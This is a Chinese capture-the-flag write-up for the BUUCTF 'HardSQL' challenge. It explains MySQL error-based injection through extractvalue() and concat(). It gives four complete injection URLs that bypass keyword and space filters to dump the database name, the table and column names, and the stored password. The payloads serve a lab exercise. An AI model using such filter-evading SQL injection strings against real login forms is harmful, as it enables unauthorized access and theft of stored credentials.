[极客大挑战 2019]HardSQL 1

知识点:sql报错注入(updatexml、extractvalue)

目录

  • extractvalue()
  • 参考

extractvalue()

函数解释:
  extractvalue():从目标XML中返回包含所查询值的字符串。
  extractvalue(XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。

注入原理:
第一个参数位置不重要随便填1,2,3,‘sfaas’....都行
第二个参数才是我们注入的地方,正常xml文档中查找字符位置是用 
/xxx/xxx/xxx/…这种格式,如果我们用了其他方式,就会报错,
并返回错误格式的查询内容。
且报错只能显示32位

这题过滤了很多关键词,比如union,and,order by,空格…
并且因为union被过滤了,所以group by配floor的报错就行不通了,但我们还有其他的报错函数。
爆库
用()代替空格
[极客大挑战 2019]HardSQL 1_第1张图片

check.php?username=admin&password=123'or(extractvalue(1,concat(0x7e,(select(database())))))%23

爆表
这里的like相当于 =
[极客大挑战 2019]HardSQL 1_第2张图片

check.php?username=admin&password=123'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))))%23

爆字段
[极客大挑战 2019]HardSQL 1_第3张图片

check.php?username=admin&password=123'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23

flag
[极客大挑战 2019]HardSQL 1_第4张图片
再用right把右半部分给查出来
[极客大挑战 2019]HardSQL 1_第5张图片

check.php?username=admin&password=123'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))%23

参考

笑花大王

你可能感兴趣的:(BUUCTF,xml,mysql,数据库)